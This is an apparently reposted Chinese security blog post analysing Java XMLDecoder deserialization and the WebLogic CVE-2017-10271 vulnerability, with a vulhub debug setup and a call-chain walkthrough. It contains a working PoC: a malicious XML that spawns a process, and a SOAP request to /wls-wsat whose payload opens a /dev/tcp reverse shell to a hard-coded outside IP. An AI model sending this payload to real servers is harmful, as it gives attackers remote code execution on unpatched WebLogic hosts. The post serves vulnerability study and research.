XMLDecoder反序列化与CVE-2017-10271

admin 2021年7月20日06:14:29评论43 views字数 5835阅读19分27秒阅读模式

XMLEncoder与 XMLDecoder

使用XMLEncoder来生成表示JavaBeans组件(bean)的XML文档,用XMLDecoder读取使用 XMLEncoder 创建的XML文档获取JavaBeans

XMLEncoder示例

import javax.swing.*;import java.beans.XMLEncoder;import java.io.BufferedOutputStream;import java.io.FileOutputStream;
public class xmlencoder { public static void main(String[] args) throws Exception{ XMLEncoder a = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("test.xml"))); a.writeObject(new JButton("test.test")); a.close(); }}

生成的效果如下,在test.xml中

<?xml version="1.0" encoding="UTF-8"?><java version="1.8.0_281" class="java.beans.XMLDecoder"> <object class="javax.swing.JButton">  <string>test.test</string> </object></java>

XMLDecoder示例

import javax.swing.*;import java.beans.XMLDecoder;import java.beans.XMLEncoder;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.FileInputStream;import java.io.FileOutputStream;
public class xmlencoder { public static void main(String[] args) throws Exception{ XMLDecoder j = new XMLDecoder(new BufferedInputStream(new FileInputStream("test.xml"))); Object result = j.readObject(); System.out.println(result); j.close(); }}

最终生成的打印结果为

javax.swing.JButton[,0,0,0x0,invalid,alignmentX=0.0,alignmentY=0.5,border=javax.swing.plaf.BorderUIResource$CompoundBorderUIResource@1b2c6ec2,flags=296,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=2,left=14,bottom=2,right=14],paintBorder=true,paintFocus=true,pressedIcon=,rolloverEnabled=true,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=test.test,defaultCapable=true]
XMLDecoder反序列化与CVE-2017-10271

XML标签、属性

string标签

test,test 字符串的在XML中表示方式为`<string>test.test</string>

object标签

通过 <object> 标签表示对象, class 属性指定具体类(用于调用其内部方法), method 属性指定具体方法名称(比如构造函数的的方法名为 new ) new JButton("test,test") 对应的XML文档:

<object class="javax.swing.JButton">    <void method="setText">    <string>test,test</string>    </void></object>

void标签

通过 void 标签表示函数调用、赋值等操作, method 属性指定具体的方法名称。 JButton b = new JButton();b.setText("Hello, world"); 对应的XML文档:

<object class="javax.swing.JButton">    <void method="setText">    <string>Hello,xml</string>    </void></object>

array标签

通过 array 标签表示数组, class 属性指定具体类,内部 void 标签的 index 属性表示根据指定数组索引赋值。String[] s = new String[3];s[1] = "Hello,xml"; 对应的XML文档:

<array class="java.lang.String" length="3">     <void index="1">    <string>Hello,xml</string>  </void></array>

XMLDecoder反序列化漏洞

这里的示例代码还是使用原来的代码

public static void main(String[] args) throws Exception{        XMLDecoder j = new XMLDecoder(new BufferedInputStream(new FileInputStream("test.xml")));        Object result = j.readObject();        j.close();    }

这里将原有的test.xml修改为恶意XML

<?xml version="1.0" encoding="UTF-8"?><java version="1.8.0_112" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1">  <void index="0">   <string>calc</string>  </void> </array> <void method="start"/></void></java>

运行弹出计算器

XMLDecoder反序列化与CVE-2017-10271

Weblogic Docker调试环境搭建

这里的docker我是使用的kali中的

XMLDecoder反序列化与CVE-2017-10271

docker的8453开启,位于docker-compose.yml

XMLDecoder反序列化与CVE-2017-10271
version: '2'services:weblogic:image: vulhub/weblogicports:- "7001:7001"- "8453:8453"

下载运行镜像XMLDecoder反序列化与CVE-2017-10271


修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

添加代码

debugFlag="true"export debugFlag

XMLDecoder反序列化与CVE-2017-10271

重启docker

XMLDecoder反序列化与CVE-2017-10271

把 weblogic的源码和jdk包都拷贝出来

docker cp 9bc5c6e5290c:/root ./test/

拷贝到我的代码机器XMLDecoder反序列化与CVE-2017-10271

idea打开rootOracleMiddleware目录把Middleware目录下所有的*.jar包都放在一个libjar的文件夹

find ./ -name *.jar -exec cp {} ./libjar/ ;

XMLDecoder反序列化与CVE-2017-10271

idea中的jdk设置为环境自带的1.6

XMLDecoder反序列化与CVE-2017-10271

idea添加依赖库

XMLDecoder反序列化与CVE-2017-10271

XMLDecoder反序列化与CVE-2017-10271

远程调试XMLDecoder反序列化与CVE-2017-10271

开启debugXMLDecoder反序列化与CVE-2017-10271

下断点XMLDecoder反序列化与CVE-2017-10271

发包,出现这样的情况说明环境搭建成功XMLDecoder反序列化与CVE-2017-10271

CVE-2017-10271

受影响版本:

WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic 12.2.1.1.0WebLogic 12.2.1.2.0

CVE-2017-3506与CVE-2017-10271均为XMLDecoder反序列化漏洞。CVE-2017-3506修补方案为禁用object标签。CVE-2017-10271是通过void、new标签对CVE-2017-3506补丁的绕过。

漏洞复现

poc

POST /wls-wsat/CoordinatorPortType11 HTTP/1.1Host: xxx.xxx.xxx.xxx:7001Accept-Encoding: identityAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept: */*User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3Connection: keep-aliveContent-Type: text/xml;charset=UTF-8Content-Length: 648
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>/bin/sh -i > /dev/tcp/107.173.81.94/6666 2<&1 0<&1</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

XMLDecoder反序列化与CVE-2017-10271

漏洞分析

使用burp发包,查看返回包,查看调用链

XMLDecoder反序列化与CVE-2017-10271

断点打到weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class:37

XMLDecoder反序列化与CVE-2017-10271

使用burp发包,进入断点,看到var1的值为传入的恶意数据,var2为message中的header,var3为获取WorkAreaConstants.WORK_AREA_HEADER=http://bea.com/2004/06/soap/workarea/XMLDecoder反序列化与CVE-2017-10271XMLDecoder反序列化与CVE-2017-10271

XMLDecoder反序列化与CVE-2017-10271

var3不等于空,进入readHeaderOld 方法

weblogic/wsee/jaxws/workcontext/WorkContextTube.class:102var2.nextTag();  跳转到worktagvar2.nextTag();  跳转到javatag

XMLDecoder反序列化与CVE-2017-10271

通过XMLStreamWriterFactory.create函数获取恶意的Payloadvar4中,var4的字节数组输入流传入WorkContextXmlInputAdapter的构造函数。

weblogic/wsee/workarea/WorkContextXmlInputAdapter.class:19

public WorkContextXmlInputAdapter(InputStream var1) {        this.xmlDecoder = new XMLDecoder(var1);    }

将恶意的xml作为参数传入了XMLDecoder的构造函数,然后返回一个WorkContextXmlInputAdapter实例对象到上层的var6var6作为参数传入receive函数。

weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class:69

XMLDecoder反序列化与CVE-2017-10271

-WorkContextXmlInputAdapter对象又被传入了WorkContextMapImpl类的receiveRequest方法。

weblogic/workarea/WorkContextMapImpl.class:142

XMLDecoder反序列化与CVE-2017-10271

weblogic/workarea/WorkContextLocalMap.class:162

又被传到receiveRequest方法中

workarea/spi/WorkContextEntryImpl.class:72

又被传到readEntry方法中

XMLDecoder反序列化与CVE-2017-10271

 String var1 = var0.readUTF();

weblogic/wsee/workarea/WorkContextXmlInputAdapter.class:104

    public String readUTF() throws IOException {        return (String)this.xmlDecoder.readObject();    }

触发this.xmlDecoder.readObject(); 反序列化,完成代码执行

References

[1] Weblogic XMLDecoder 漏洞触发链分析: https://zhuanlan.zhihu.com/p/112870627
[2] Java安全初遇-XMLDecoder与Weblogic齐活儿: https://xz.aliyun.com/t/8039



分享、点赞、看就是对我们的一种支持!

XMLDecoder反序列化与CVE-2017-10271


本文始发于微信公众号(ChaBug):XMLDecoder反序列化与CVE-2017-10271

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月20日06:14:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XMLDecoder反序列化与CVE-2017-10271https://cn-sec.com/archives/405540.html

发表评论

匿名网友 填写信息